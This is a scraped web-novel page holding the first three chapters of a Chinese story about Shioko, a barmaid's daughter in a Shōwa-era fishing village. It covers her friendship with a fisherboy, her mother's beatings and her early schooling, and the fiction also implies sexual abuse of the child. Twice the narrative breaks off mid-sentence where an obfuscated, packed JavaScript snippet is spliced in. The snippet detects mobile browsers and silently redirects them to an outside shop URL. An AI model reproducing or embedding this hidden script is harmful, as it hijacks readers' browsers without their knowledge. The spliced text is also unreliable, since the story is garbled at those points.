《[电影]昭和美人》 1. 第 1 章 浜田潮子，第一次见到海的那天，就觉得自己是属于海的。 不是出生那天——出生是在酒肆后面那间狭小的阁楼里，没有窗户，只有一股发霉的稻草味。是后来，等她能跑了，有了对海深刻的记忆，从酒肆后门溜出去，穿过一条长满杂草的小路，翻过一道矮矮的土坡，然后，海就在那里了。 海是灰色的，也是蓝色的，天阴的时候是灰的，天晴的时候是蓝的。潮子不懂这些，她只知道海很大，比酒肆大，比村子大，比她能想到的任何东西都大。海会动，会喘气，会把凉凉的水汽喷到她脸上。她第一次站在海边，愣了很久，然后脱掉木屐，踩进浪里。浪打上来，没过她的小腿，凉得她缩了一下，但她没跑，就那么站着，让浪一遍一遍地打。 那天她在海边待了很久，回去的时候天已经黑了。母亲在酒肆门口等她，一把揪住她的耳朵，把她拖进后屋，按在膝盖上打了一顿。打完了，母亲把她搂在怀里，哭了。 “你跑哪儿去了？你知道我多担心吗？你死了我怎么办？” 潮子不明白。刚才打她的是母亲，现在抱着她哭的也是母亲。她只觉得屁股疼，还有一点饿。但是她没哭，也没说话。 从那以后，她还是去海边。只是学会了看天色，估摸着时间，在母亲开始着急之前回去。 后来她认识了那个男孩。 男孩比她大一点，具体大多少她不知道，反正比她高半个头。他是渔夫家的孩子，每天都跟着父亲出海，晒得比潮子还黑。第一次见面，潮子在海边捡贝壳，他在修一艘破旧的小木船——那是他自己的船，是他父亲不要的废船，他把它拖到沙滩上，用捡来的工具一点一点地修。 潮子蹲在旁边看了很久，终于开口：“你修不好。” 男孩头也不抬：“能修好。” “修好了也不能出海，太小了。” “能出。” “你叫什么？” “铁。” “铁？” “铁的鉄。我阿爹说，要像铁一样结实。” 潮子笑了。她没见过这么怪的名字。 “你笑什么？” “没笑。” “你笑了。” “没。” 男孩抬起头，看了她一眼。她蹲在阳光下，逆着光，脸看不清楚，只看见一头乱糟糟的头发，和一双亮晶晶的大眼睛。他又低下头，继续修船。 “你叫什么？”他问。 “潮子。” “潮子的潮？” “海潮的潮。” 男孩点点头，没再说话。海浪拍打着沙滩，一下，一下。 后来他们一起玩。男孩带她爬上礁石，教她看海浪的纹路，告诉她哪一片海里有鱼，哪一片海里只有石头。她带他翻过土坡，穿过杂草，指给他看酒肆后面那个小小的阁楼窗户，告诉他那是她的家。 “你就住那里？”男孩看着那个窗户，窗户小得像个洞。 “嗯。” “怎么上去？” “从酒肆里面爬楼梯。” “我能上去吗？” 潮子想了想，摇头：“不行。妈妈不让。” 男孩点点头，没再问。 夏天的时候，他们去稻田里跑。稻子还没长高，绿油油的一片，他们从田埂上跑过去，惊起草丛里的蚂蚱。男孩跑得快，潮子追不上，她就喊：“等等我！”男孩就停下来，回头看她，汗从额头上流下来，顺着脸颊滴进脖子里。他站在那里，阳光把他晒得发亮，像一尊小小的铜像。 他们会在稻田边上坐下来，喘着气，看着远处的海。男孩会告诉她，哪一片海今天有船出海，哪一片海有鱼群。潮子不太懂，但她喜欢听他说话。 “你以后想干什么？”有一天潮子问他。 “出海。” “出海干什么？” “打鱼。然后赚钱。” “赚钱干什么？” 男孩想了想，看着她：“娶你。” 潮子愣了一下，然后笑了，笑得露出白牙。她以为他在开玩笑，像过家家的时候说“你是妈妈我是爸爸”那样。 但男孩没笑。 那天傍晚，潮子又在海边。男孩不在，他跟着父亲出海了。她一个人坐在礁石上，看太阳一点一点沉进海里。海面变成金色，又变成红色，最后变成灰色。 她不知道坐了多久，直到身后传来一声喊： “潮子——” 是母亲的声音。她回头，看见母亲站在远处，正在朝她跑过来。 潮子站起来，想跑。但来不及了，母亲已经跑近了，一把揪住她的耳朵。 “疼疼疼——” “不是说了不叫你跑来海边的吗？你想气死我吗？” 母亲的手劲很大，潮子的耳朵被扭得生疼。她扭着身子想挣开，但挣不动。 “晒得像黑鬼一样将来谁要你啊！” 潮子不挣了，她仰着头，瞪着母亲：“没人要就没人要啊。” 母亲愣了一下。 “妈妈不是也没人要吗！” 话音刚落，空气像被抽空了。 母亲的手停在半空，脸上的表情潮子从来没看过——不是愤怒，是别的什么，比愤怒更疼的东西。 然后，那只手落下来了。 “啪！” 一记耳光，结结实实地扇在潮子脸上。 潮子被打得踉跄了一步，脸偏向一边，火辣辣地疼。她没有哭，也没有捂脸，就那么侧着头，一动不动。 母亲的手还在发抖。 “你说什么？” 声音很低，低得不像母亲的声音。 潮子慢慢把头转回来，看着母亲。母亲的脸扭曲着，眼眶红了，但没有眼泪。 “你再说一遍。” 潮子没有说话。她看着母亲，看着这个头发散乱、眼窝深陷、嘴唇干裂的女人——这个每天晚上对着男人笑、每天早上对着镜子发愣的女人。她知道母亲每天晚上在做什么，知道那些男人的手会放在哪里，知道酒肆老板有时候会把母亲叫进房间，门关很久。 她不懂那是什么意思，但她知道母亲每次从房间里出来，都要去井边打水洗脸。 “我问你，你再说一遍。” 潮子还是没说话。她的脸肿起来了，五个指印清晰地印在上面。 就在这时，一个身影冲了过来，挡在她面前。 是那个男孩。 他不知道从哪里跑出来的，可能是一直躲在旁边，可能是刚好路过。他站在母亲和潮子中间，张开两条细细的胳膊，胳膊上还沾着沙子。 “阿姨，快放开潮子！” 母亲低头看着他，看着这个满身沙子、晒得黑黑的小男孩，愣住了。 “不会没人要的！” 男孩的声音很响，在空旷的海边显得特别响亮。潮子从他背后探出头，看见他的后脑勺，头发被海风吹得乱七八糟。 “把小潮嫁给我吧！” 母亲愣了半天。 她看着这个男孩——看着他黑黑的脸，看着他倔强的眼神，看着他张开的两条小细胳膊。 然后她笑了。 是真的笑了，不是酒肆里那种对着客人的笑，是真的被气笑了。她松开揪着潮子耳朵的手，低头看着这个一本正经的小男孩 “你？” “嗯！” “你叫什么？” “铁！” “铁。”母亲念了一遍这个名字，“你是渔夫家的孩子吧？” “是！” “你拿什么娶她？” 男孩愣了一下，他不知道娶一个人需要什么。他想了想，说：“我有船！” “船？” “我自己修的！虽然现在还不能出海，但我等长大了，一定能出海！” 母亲看着他倔强的小样子，摇了摇头，伸出手，轻轻地把他推开。 “行了行了，你离我家潮子远一点。” “为什么？” “她才不会嫁给一个小船夫。”母亲弯下腰，凑近男孩的脸，“我们要找个有钱人嫁了，你知道吗？” 男孩没说话，但他也没退。 “请你离潮子远一点，要不然——” 母亲顿了顿，声音冷下来： “要不然阿姨就让男朋友打断你的腿，听到没有？” 男孩还是没有退。他抬起头，看着母亲，又看了看母亲身后、半边脸肿起来的潮子。 潮子也在看着他。 她的脸很疼，五个指印烫得像火烧。但她的眼睛还是很亮。 男孩看着那双眼睛，慢慢往后退了一步。 不是怕，是因为他知道，现在他帮不了她。 母亲一把拉起潮子的手。 “走。” 潮子被拖着往前走，母亲的手攥得很紧，她挣不开。她走得踉踉跄跄，一步一回头。 男孩还站在那里，站在海边，站在夕阳最后的光里。他没有动，只是看着她。 潮子朝他笑了笑。 脸很疼，笑的时候牵扯到伤口，更疼了。但她还是笑了，露出白牙。 母亲没看见。她只顾着往前走，拖着潮子离开海边，穿过那条长满杂草的小路，走向酒肆的方向。 潮子一直在回头，直到那个小小的身影被土坡挡住，看不见了。 “还看什么看？” 母亲的声音从头顶传来，冷冷的。她的手还攥着潮子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486536|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕，攥得生疼。 “那小子骗你的。” 潮子没说话。 “小小年纪做什么承诺啊？他懂什么叫承诺吗？” 她们走进村子，路边的房子开始多起来。有人从窗户里探出头，看了一眼她们——看了一眼潮子脸上那个红红的巴掌印，然后缩回去了。潮子知道他们在看什么——在看那个陪酒女和她的野孩子，在看那个女人打出来的野种。 “我告诉你潮子，你是要嫁给有钱人的。” 母亲的声音低下来，像是说给潮子听，也像是说给自己听。 “别看那些穷小子。一个渔夫家的孩子，能有什么出息？一辈子在海上漂，风吹日晒，赚那几个钱，够干什么的？” 潮子还是没说话。她在想刚才那个男孩。他在海边站了很久吗？天黑了才回去吗？他回去之后，会想她吗？ 酒肆到了。 那是一栋老旧的木头房子，门口挂着一块褪色的布帘。白天没什么人，到了晚上，会有一些男人进去，喝酒，说话，看着母亲笑。 酒肆老板站在门口，看见她们，点了点头。 “回来啦？” “嗯。”母亲应了一声，“把这孩子找回来了。” 酒肆老板弯下腰，看着潮子。他四十多岁的样子，脸上带着笑，但潮子总觉得那个笑是假的，像贴在脸上的一张皮。 他的眼睛在潮子脸上那个巴掌印上停了一下，没说什么。 “潮子，别让妈妈担心了。”他从口袋里掏出两颗糖，塞进潮子手里，“来，拿着，去吃吧。” 糖是彩色的，裹着透明的纸。潮子看了一眼，没说话。 她不喜欢这个人。她不知道为什么不喜欢，但她就是不喜欢。她见过他晚上看着母亲的样子，也见过母亲从他房间里出来，低着头，整理衣襟。 有时候，她知道母亲拿自己抵债——这个词她不懂，但她知道，当她被母亲推进那个房间，被这个男人的手摸过脸的时候，她想吐。 潮子攥着糖，走进酒肆，爬上后面那条窄窄的楼梯，钻进阁楼里。 阁楼很小，小到只能放下一张床和一个破柜子。没有窗户，只有一个小洞，勉强算是个窗。白天的时候，会有一点光从那个洞里透进来，让潮子知道现在是白天还是晚上。 她坐在床上，看着手里的糖。 彩色的糖，裹着透明的纸。 她想起刚才那个男人弯下腰的样子，想起他脸上的笑。她把糖丢在地上。 糖落在地板上，发出轻轻的响声。 潮子看着那颗糖，看了很久。 阁楼里很暗，只有从小洞里透进来的一点光，照在那颗糖上，让它看起来还是彩色的。 她弯下腰，把糖捡起来。 剥开透明的纸，把糖塞进嘴里。 咯吱咯吱。 糖在牙齿间碎开，甜味慢慢渗出来。潮子嚼着糖，听着楼下的声音。 母亲的声音从下面传上来——她在笑，是那种酒肆里的笑，和刚才在海边的笑不一样。还有男人的声音，好几个，在说话，在笑，在碰杯。 潮子坐在黑暗里，嚼着糖，听着那些声音。 她把糖咽下去，站起来。 阁楼太小了，站着的时候，头几乎要碰到屋顶。她走到那个小洞前面，踮起脚，往外看。 外面是夜晚了，天已经黑透，只有远处几点灯火。街上没什么人。 然后她看到了他。 那个男孩站在对面的草窝里，站在黑暗里，抬着头，正在看着这个小洞。 潮子笑了。 她把窗户推开一点，伸出手，朝他挥了挥。 男孩也挥了挥手。 潮子看不清他的脸，但她知道他也在笑。 她下意识地摸了摸自己的脸，那里还肿着，还疼着。但她还是在笑。 楼下又传来一阵笑声，还有杯子碰撞的声音。潮子缩回手，把窗户轻轻关上。 她回到床边，躺下来，盯着头顶黑漆漆的屋顶。 楼下，母亲还在笑。 阁楼里很安静。 潮子闭上眼睛，脑子里是那个男孩站在草窝里的样子，是他挥手的动作，是他今天在海边说的话—— “把小潮嫁给我吧！” 她笑了，在黑暗里偷偷地笑了。 脸很疼。但笑的时候，好像没那么疼了。 窗户外面，夜色很深。草窝里那个小小的身影，还站在那里，看着这个只有一个小洞的阁楼。 看了很久很久。 然后他转身，慢慢走远，消失在黑暗里。 海浪的声音从远处传来，一下，一下，像这个世界的心跳。 潮子睡着了。 2. 第 2 章 浜田潮子六岁了。 这一年夏天过去的时候，村子里和潮子差不多大的孩子都背上书包，沿着那条杂草丛生的小路，走去村头那所小学校。 那所学校只有一到四年级，是村公所旁边一排平房，墙上刷着白灰，窗户镶着玻璃，房顶铺着灰瓦。操场是压实的黄土地，立着两个歪歪扭扭的篮球架。没有围墙，从海边吹来的风可以一直吹到教室门口。 学校里只有一个老师，姓佐佐木，四十多岁，戴眼镜，说话慢吞吞的。他一个人教四个年级的所有科目——国语、算数、理科、社会。学生们挤在一间教室里，一年级听课的时候，其他年级就做作业。 这是海边渔村最常见的分校模式。太小的孩子走不了远路，所以村里设了低年级，等念完四年级，再去五公里外的镇里念完小。 潮子知道这些，是因为铁告诉她的。 不，现在不能叫“铁”了。 那个男孩有名字。他叫健一郎。 健一郎——健康的长子。他父亲是渔夫，母亲生他时难产死了，家里只有父亲和一个瞎眼的奶奶。他的名字是奶奶取的，希望他像名字一样，健健康康地活下去。 那个夏天，健一郎天天来找潮子。两个人一起去海边，一起去稻田，一起去铁道边——不过那是后来的事了。这个夏天，他们只做一件事：玩。 因为夏天结束的时候，健一郎就要去上学了。 “上学好玩吗？”潮子问。 “不知道。”健一郎蹲在沙滩上，用树枝在沙子上写字，“佐佐木老师说，上学能学会写字，会算数，还能看很多书。” “你会写字？” “不会。”他指指沙子上的划痕，“这是在画字。” 潮子蹲下来看那些歪歪扭扭的道道，看不懂。 “你学会了教我。” “好。” 潮子又问：“你去了学校，还来找我吗？” 健一郎抬起头，看着她。 六岁的潮子，晒得黑黑的，头发乱糟糟的，脸上有汗，有沙子，还有一颗小小的痣——就在鼻尖旁边，一笑起来那颗痣就跟着动，像一颗会跳舞的小黑豆。 她眼睛很大，很亮，里面有一种他说不上来的东西。奶奶说那是“命硬”的人才会有的眼神。 “放学了就来找你。”他说。 “真的？” “嗯。” 潮子笑了，露出白牙。 那个夏天很快就过去了。 九月第一天，健一郎背着奶奶缝的布书包，跟着村里几个孩子，一起走去村头那所小学校。 潮子站在酒肆门口，看着他们走远。 她没说话，就那么站着，看着那条小路，看着那群孩子的背影越来越小，最后拐过村公所的墙角，看不见了。 母亲在酒肆里喊她帮忙，她没动，脑子里幻想着学校的样子。 “潮子！” 她慢慢走回去，低着头，一句话不说。 那天晚上，酒肆打烊以后，母亲爬上阁楼，看见潮子没睡，睁着眼睛盯着屋顶。 “怎么不睡？” “妈妈。” “嗯？” “我想上学。” 母亲愣了一下。 “上什么学？” “他们都去了。”潮子转过头，看着母亲，“健一郎也去了。” “健一郎是谁？” “就是那个……那个渔夫家的男孩。” 母亲想了想，想起那个站在海边、张开胳膊说要娶潮子的小黑孩。她“哦”了一声，没说话。 “妈妈，让我上学吧。” 母亲坐到床边，看着黑暗里潮子那双亮晶晶的眼睛。她想起自己六岁的时候，也想上学，但外婆说女孩子读书有什么用，不如在家帮忙干活。她这辈子，连自己的名字都写不利索。 “上学有什么用？” 潮子从床上坐起来，看着母亲。 “你不是说让我嫁给有钱人吗？” 母亲愣住了。 “在酒肆里当陪酒女怎么嫁给有钱人？” 空气突然凝固了。 月光从小洞里照进来，照在潮子脸上，照在她鼻尖那颗小小的痣上。她的眼睛很亮，里面没有挑衅，没有恶意，只是认真的、单纯的疑问。 她真的在问：妈妈你让我嫁给有钱人，可是我现在每天在酒肆里，看见的是什么样的男人？那些满身酒气、眼神黏糊糊的男人，是“有钱人”吗？那些把手伸向妈妈、伸向我的男人，是“有钱人”吗？ 母亲的身体震了一下。 然后那只手抬起来了。 “啪！” 一记耳光。 比海边那天更重。 潮子被打倒在床上，半边脸瞬间肿起来。她没哭，没叫，就那么趴在床上，侧着头，看着母亲。 “你这个孩子——” 母亲的声音在抖，不知道是气的还是别的什么。 “你是瞧不起我吗！” 又是一巴掌，打在背上。 “我供你吃穿把你养大——” 又一巴掌。 “你竟然敢看不起我！” 母亲的手像雨点一样落下来，打在潮子的背上、屁股上、胳膊上。潮子蜷缩在床上，抱着头，咬着牙，一声不吭。 打着打着，母亲的手慢下来了。 她看着蜷缩在黑暗里的那个小小的身体，看着那个被她打得一动不动的孩子，突然愣住了。 她的眼泪掉下来了。 “我……” 她想说什么，说不出来。 潮子慢慢松开抱着头的手，抬起头，看着母亲。 月光照在她脸上，照在那张肿起来的脸上，照在嘴角渗出的血丝上。但她的眼睛还是很亮，还是很平静，像海边的礁石，浪打过来，打完了，礁石还在那里。 “妈妈。” 她的声音很轻。 “我没瞧不起你。” 母亲愣住了。 “我只是……不想像你一样，在酒肆里。” 这句话像一把刀，扎进母亲心口。 但潮子说的“像你一样”，不是嫌弃。她说的是：不想像你一样，被男人打，被男人骂，被男人用完就丢；不想像你一样，每天晚上对着那些男人笑，每天早上对着镜子发愣；不想像你一样，连自己是谁都不知道。 母亲站在那里，月光照在她脸上，照在她乱七八糟的头发上，照在她干裂的嘴唇上。她看着潮子，看着这个从自己身体里爬出来的孩子，看着这个被她打得鼻青脸肿的孩子，看着这个眼睛里还亮着光的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486537|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子。 她突然想起酒肆里那些男人说的话—— “老板娘，你闺女长得可真俊啊。” “这鼻子这眼睛，以后是个美人胚子。” “那颗痣长得好，长在鼻子上，勾人呢。” 她以前听了只是笑笑，不当回事。现在想起来，突然觉得心里一紧。 这么好看的孩子，不能拘在酒肆里。 她擦了擦眼泪，走到柜子前面，打开那个破旧的抽屉，从最底下摸出几张皱巴巴的钱票。 那是她攒了很久的钱。本来想给自己买一件新衣服的。 她走回床边，把那几张钱票塞进潮子手里。 “明天。”她说，声音哑得像砂纸磨过木头，“明天你自己去学校，找老师，求老师收你。” 潮子看着手里的钱票，又抬头看着母亲。 “妈妈……” “别叫我。”母亲转过身，“我累了。” 她走到楼梯口，停了一下，没回头。 “明天穿那件好点的衣服。把脸洗干净。” 然后她下楼了。 潮子坐在黑暗里，听着母亲下楼的脚步声，听着阁楼的门关上。她低头看着手里的钱票，看着那些皱巴巴的、带着母亲体温的纸。 她摸了摸自己的脸，肿的，疼的。 但她笑了一下。 --- 第二天早上，潮子起得很早。 她打了一盆水，把脸洗干净，对着盆里的倒影看了很久。脸上还肿着，巴掌印还清晰可见。但她不管了。 她穿上那件唯一没有补丁的衣服——是母亲去年从镇里买的，当时说“过年穿的”，后来过年没舍得穿，一直压在柜子里。 她对着盆里的倒影，用手指蘸了水，把头发抿了抿。 鼻尖上那颗小痣，沾了一滴水珠，在早晨的阳光里亮晶晶的。 潮子看了那颗痣一眼，没管它。 她把钱票塞进怀里，走出酒肆。 九月的早晨，海风吹过来，带着咸咸的味道。她沿着那条杂草丛生的小路，一步一步往村头走。 走到半路，她看见一个人站在前面。 是健一郎。 他背着书包，站在那里，好像专门在等她。 “你怎么在这儿？” “等你。”他说，“昨天晚上怎么没来？” 潮子没说话。 健一郎走近了一步，看见了她的脸。 她左边脸颊肿着，红红的，五个指印还看得出来。 他的眉头皱了一下。 “你妈打的？” 潮子点点头。 健一郎沉默了一会儿，然后伸出手，轻轻碰了碰她的脸。 “疼吗？” “不疼了。” “骗人。” 潮子笑了，露出白牙。一笑牵动脸上的伤，疼得她吸了一口气，但她还是在笑。 健一郎看着她，看着她鼻尖那颗亮晶晶的痣，看着她亮晶晶的眼睛。 “走吧。”他说。 他伸出手。 潮子看着他的手——晒得黑黑的，沾着不知道哪里蹭的灰，但伸得很直，像那天在海边一样。 她握住那只手。 两个人一起，朝村头那所小学校走去。 3. 第 3 章 浜田潮子上学了。 第一天，佐佐木老师把她安排在靠窗的位置，和一个小女孩坐在一起。小女孩叫松本聪子，父亲是村里唯一一家杂货铺的老板，家里比大多数人家都要殷实。她穿着洗得干净漂亮的衣服，辫子扎得整整齐齐，看潮子的时候，眼睛里有种说不清的东西。 不是恶意，是打量。像看一件不知道值不值钱的物件。 “你叫什么？”聪子问。 “浜田潮子。” “浜田？”聪子眨了眨眼睛，睫毛很长，像两把小扇子，“你爸爸呢？” 潮子没说话。 她不知道该怎么回答这个问题。她没见过爸爸，妈妈也从来不提。酒肆里的人偶尔会问，妈妈就说“死了”，语气像在说今天天气不好。但潮子知道，死了的人会有牌位，会有照片，会有人偶尔提起。她什么都没有。 聪子“哦”了一声，没再问。但潮子看见她嘴角动了动，像笑，又像只是抿了抿嘴。那一下很快，快到几乎看不出来，但潮子看见了。 潮子低下头，翻开崭新的课本。课本是佐佐木老师发的，旧旧的，封面用牛皮纸包着，边角都磨圆了。老师说这是上一届学生用过的，但还能用。潮子不在乎新旧，她只在乎这是她的书。 她闻着纸上淡淡的霉味，心里有一种奇怪的感觉——踏实。 这是她的书。她也是学生了。 窗外有风吹进来，带着海的味道。潮子抬起头，看了一眼窗外。从这里能看到海吗？看不到。但她知道海就在那里，在那个方向，一直在那里。 她转过头，发现聪子还在看她。 “你看什么？”潮子问。 “没什么。”聪子把头转回去，拿起课本，翻了几页，又放下，“你会写字吗？” “不会。” “我也不会。”聪子说，“但我妈说，我很快就会学会。我哥上过学，现在在镇里帮人记账，一个月能赚不少钱。” 潮子没说话。她没有哥哥。她只有妈妈，和那个小得像洞一样的阁楼。 “你家住哪儿？”聪子又问。 潮子沉默了一下。 “酒肆。” “酒肆？”聪子的眼睛亮了一下，像发现了什么有趣的东西，“就是村口那家？我妈说那里晚上有很多男人去喝酒。” 潮子点点头。 “你是酒肆老板的孩子？” “不是。” 聪子愣了一下，然后“哦”了一声，没再问。 但潮子看见她眼睛里的光变了。不再是好奇，是别的什么。 她低下头，继续看自己的课本。 --- 佐佐木老师确实对潮子很好。 不是因为可怜她，也不是因为知道她家里的情况。他就是那样一个人，对谁都一样——上课慢慢讲，下课慢慢走，学生问他问题，他就弯下腰，眼镜片上反着光，听完了，慢慢说：“嗯，这个问题问得好。” 他的声音总是很慢，像海浪拍岸，一下，一下。潮子喜欢听他说话，听着听着，心就静下来了。 但潮子能感觉到，老师看她的眼神里，有一种特别的东西。 不是同情，也不是偏爱。是一种……她说不清楚。像是他知道她不容易，但他不觉得那是什么了不起的事。像他相信她能行。 有一次放学后，潮子一个人在教室里做算术题。那是佐佐木老师额外给她的——不是惩罚，是她自己要求的。她想多学一点，快一点学会。做得慢，其他人走了她还没做完。 教室里很安静，只有佐佐木老师在讲台上批改作业，笔尖划过纸面的沙沙声，和远处隐约的海浪声混在一起。 潮子低着头，盯着那道题。是两位数的加法，她算了好几遍，每次答案都不一样。她咬着笔杆，眉头皱成一团。 “这里。” 声音从头顶传来。潮子抬起头，佐佐木老师不知道什么时候站到了她旁边，弯着腰，手指指着她写的那个数字。 “再想想。” 潮子盯着那道题，想了很久。她把两个数字在心里又加了一遍，突然眼睛一亮——她明白了，进位那里她忘了。 她拿起笔，把答案划掉，重新写了一个。 佐佐木老师点点头，没说话，回到讲台上继续批改作业。 天快黑的时候，潮子把最后一道题做完，收拾书包站起来。教室里已经暗下来了，只有讲台上那盏煤油灯还亮着。佐佐木老师坐在灯下，影子拉得很长。 “老师，我走了。” “嗯。”佐佐木老师抬起头，“路上小心。” 潮子走到门口，又回过头。 灯光照在老师脸上，他的眼镜片上反着光，看不清眼睛。但他坐在那里的样子，让她觉得安心。 “老师。” “嗯？” “您为什么……对我好？” 佐佐木老师愣了一下。他放下手里的笔，摘下眼镜，用衣角慢慢擦了擦，又戴上。他的动作总是很慢，像做什么事都不着急。 “你是我的学生。”他说，声音还是那样慢吞吞的，“我对所有学生都一样。” 潮子站在那里，看着老师。 她想说不一样。想说其他大人看她的时候，眼睛里总有别的东西——要么是可怜，要么是嫌弃，要么是酒肆里那种黏糊糊的、让她想躲开的光。但佐佐木老师看她，就像看一个普通的孩子。 但她没说。她不知道该怎么把这些话说出来。 “回去吧。”佐佐木老师说，“天黑了。” 潮子点点头，推开门，走进夜色里。 外面已经全黑了，只有零星几户人家亮着灯。她沿着那条杂草丛生的小路往回走，脚下坑坑洼洼的，好几次差点摔倒。但她不怕黑。她早就习惯了黑暗——阁楼里比这还黑。 走到半路，她听见前面有脚步声。 是健一郎。 他站在路中间，手里提着一盏小灯笼。灯光照在他脸上，晒得黑黑的皮肤泛着暖黄色的光。 “你怎么在这儿？”潮子问。 “等你。”他说，“这么晚，路上黑。” 潮子看着他，突然不知道该说什么。 健一郎把灯笼往她那边举了举：“走。” 两个人并排走着，灯笼的光把路照亮了一小段。潮子看着地上两个拉长的影子，一高一矮，晃来晃去。 “老师给你补课？”健一郎问。 “嗯，我自己想多学一点。” “学那么多干什么？” 潮子想了想，说：“不知道。就是想学。” 健一郎点点头，没再问。 走到酒肆门口，他把灯笼递给潮子。 “明天见。” “灯笼给你。” “不用，我摸得着路。”他笑了笑，露出白牙，“我走惯了。” 潮子看着他转身，看着他消失在黑暗里。她提着灯笼站了一会儿，听着海浪的声音，然后推开门，走进酒肆。 酒气扑面而来。有人在笑，有人在碰杯，有男人在喊“老板娘再来一壶”。妈妈在柜台后面，脸上挂着那种笑——那种和平时不一样的笑。她看见潮子，愣了一下，然后挥挥手，意思是“快上去”。 潮子低下头，从人群边上挤过去，爬上楼梯，钻进阁楼里。 她把灯笼放在地上，坐在床上。 楼下传来笑声和碰杯声，还有妈妈的声音，又高又亮，像另一个人。 潮子躺下来，盯着黑漆漆的屋顶。 她想，妈妈以前也上学吗？妈妈小时候，有没有人这样等她回家？ 她不知道。 她闭上眼睛，海浪的声音从远处传来，一下，一下。 --- 但学校里不是只有佐佐木老师。 还有那些孩子。 一开始只是背后说话。潮子从她们身边走过，她们就停下来，等潮子走远了，头凑到一起，叽叽咕咕。潮子听不清说什么，但她知道是在说她。 她不回头，也不放慢脚步，就那么走过去。 有一次，她在厕所里蹲着，听见外面进来两个人。 是聪子的声音。 “那个潮子，你知道她妈妈是干什么的吗？” 另一个女孩的声音：“听我妈说，是酒肆里陪酒的。” “陪酒是什么？” “就是……就是陪男人喝酒的。”那个女孩压低声音，“我妈说那种女人不要脸。” “那她是不是也……” 声音压得更低了，低到听不清。但潮子能猜到她们在说什么。 她蹲在那里，一动不动。 她想起那些晚上，那些男人看妈妈时黏糊糊的目光。想起酒肆老板弯下腰塞糖给她的样子，那张笑脸像贴在脸上的皮。想起妈妈有时候把她推进那个房间，门关上的声音。 她蹲在那里，手攥成拳头，指甲掐进掌心里。 等那两个女孩走了，她才站起来，推开门，走出去。 她走到洗手池前面，对着镜子看自己的脸。 镜子里那张脸，晒得黑黑的，鼻尖上有颗痣，眼睛很大，很亮，看不出有什么不一样。 她看了很久。 然后她低下头，洗手，走出去。 下午上课的时候，聪子坐在她旁边，和平时一样。潮子看着她，她也看着潮子，还笑了一下。 潮子没笑。 事情发生在潮子上学第二个月。 那天上午上完第二节课，佐佐木老师准备用他那个宝贝教学用具——是一个木制的算盘模型，比普通算盘大两倍，可以挂在黑板上，珠子一颗一颗拨给学生看。那是老师自己攒了很久的钱，从镇里买的，平时舍不得用，用完了就收在讲台的抽屉里。只有教算数的时候才拿出来，用完立刻收回去。 但那天，算盘模型不见了。 佐佐木老师把讲台翻了一遍，没有。他又把自己的办公桌翻了一遍，还是没有。他蹲下来看了看桌子底下，也没有。 “谁看见那个大算盘了？”他问。 教室里安静下来。 没有人说话。 孩子们互相看看，又低下头，又抬起头。有几个小声说“没看见”，其他人也跟着说“没看见”。 佐佐木老师站在讲台上，沉默了一会儿。 他的脸看不出什么表情，但潮子觉得，他好像有点难过。不是生气，是难过。那个算盘是他心爱的东西，潮子知道。有一次放学后，她看见老师一个人拿着那个算盘，一颗一颗拨着珠子，嘴里念念有词，脸上有她从来没见过的表情——像小孩子得到了心爱的玩具。 “都站起来。”佐佐木老师说。 所有人站了起来。 “按座位顺序，到前面来。” 他从讲台下面拿出一个空的布袋子，放在讲台上。 “自己把口袋翻出来，把东西倒进去。倒完了回到座位上。” 第一个孩子上去，把口袋翻出来，里面什么也没有。他看了一眼老师，老师点点头，他就回去了。 第二个，也没有。 第三个，也没有。 教室里很安静，安静得能听见窗外的风声。有人在小声抽鼻子，是吓的。潮子站在那里，心里很平静。她没有拿，她知道。 第四个是聪子。 她走上去，把口袋翻出来。里面有几颗糖——是她家杂货铺的糖，用花花绿绿的纸包着。她站在讲台前面，脸有点红，小声说：“这是……这是我妈给的。” 佐佐木老师看了一眼那些糖，点点头。聪子把糖倒进布袋里，回到座位。她经过潮子身边的时候，看了潮子一眼。 潮子没看她。 第五个是潮子。 她走上去，把手伸进口袋。 口袋里有一个硬硬的东西。 她的心突然往下沉了一下。 她愣了一下，手指在那个东西上摸了一下——圆圆的，中间有个孔。她知道那是什么。 她慢慢把那个东西掏出来。 是一个木制的珠子。 算盘上的珠子。 不是整个算盘，只是一颗珠子。木头的，漆成黑色，中间有孔，可以穿在竹签上。但所有人都认得那是老师那个大算盘上的珠子。那个算盘珠子大，比普通算盘珠子大两倍，一眼就能认出来。 教室里“嗡”的一声炸开了。 “是潮子！” “她偷的！” “我就说她……” 潮子站在那里，手里托着那颗珠子，看着它，一动不动。 她不知道自己口袋里怎么会有这个。 但她知道一件事—— 今天早上，她来的时候，在路上碰见了聪子。 那时候聪子从后面追上来，说“潮子等等我”。两个人一起走。聪子挨她很近，手在她旁边晃了晃。她当时没在意。聪子还问了她几句话，问她作业做了没有，问她昨天去哪儿玩了。 现在她知道了。 潮子抬起头，看着佐佐木老师。 “不是我拿的。”她说。 声音不大，但教室里每个人都听得见。那些嗡嗡的声音一下子静下来。 “我没有拿。” 佐佐木老师看着她。 那双眼睛很亮，很干净，没有躲闪，没有慌张，没有那种被抓住的孩子该有的害怕。她就这样看着他，手里托着那颗珠子，站在那里，像一块礁石。 